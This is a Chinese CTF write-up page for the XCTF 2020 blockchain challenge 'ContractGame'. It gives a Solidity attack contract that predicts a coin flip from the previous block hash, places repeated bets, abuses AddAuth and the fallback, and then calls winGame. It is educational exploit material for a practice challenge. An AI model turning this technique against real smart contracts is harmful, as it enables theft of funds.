

ContractGame

发表于 2021-01-07 分类于 [Challenge](#) , [2020](#) , [XCTF 高校网络安全专题挑战赛](#) , [HarmonyOS 和 HMS 专场](#) , [Misc](#)
[Challenge | 2020 | XCTF 高校网络安全专题挑战赛 | HarmonyOS 和 HMS 专场 | Misc | ContractGame](#)

[点击此处](#) 获得更好的阅读体验

WriteUp 来源

来自官方发布

<https://www.xctf.org.cn/library/details/5acdc1c31cf4935ac38fce445978888a5710cf11/>

题目考点

- 区块链智能合约
- 考察对动态数组、map 类型数据的存储规则计算
- 考察 blockhash
- 考察 fallback 及 msg.sender 的理解

解题思路

```
1 contract hack {
2     ContractGame target = ContractGame(题目地址);
3
4     // first: call pwn with 2 ether
5     function pwn() payable public {
6         bytes32 entropy = block.blockhash(block.number-1);
7         bytes1 coinFlip = entropy[10] & 1;
8         for(int i=0;i<20;i++){
9             if (coinFlip == 1){
10                target.BetGame.value(1000000000000000000)(true);
11            } else {
12                target.BetGame.value(1000000000000000000)(false);
13            }
14        }
15    }
16
17    // second: call AddAuth(题目合约地址)
18    // third: call AddAuth(外部账户地址)
19    // forth: call AddAuth(攻击合约地址)
20    // fifth: after 256 blocks then call fallback (可以通过外部账户直接转账msg.value=0即可, 然后会调用closeGame函数)
21
22    // sixth: call winGame()
23    function winGame() public {
24        target.winGame();
25    }
26
27    function() payable {}
28 }
```

- 本文作者: CTFHub
- 本文链接: <https://writeup.ctfhub.com/Challenge/2020/XCTF高校网络安全专题挑战赛/HarmonyOS和HMS专场/Misc/nQovMLVsPrQHKiYhLTERV4.html>
- 版权声明: 本博客所有文章除特别声明外, 均采用 [BY-NC-SA](#) 许可协议。转载请注明出处!

Challenge # 2020 # Misc # XCTF 高校网络安全专题挑战赛 # HarmonyOS 和 HMS 专场

[rsp](#)

[harmoshell-1](#)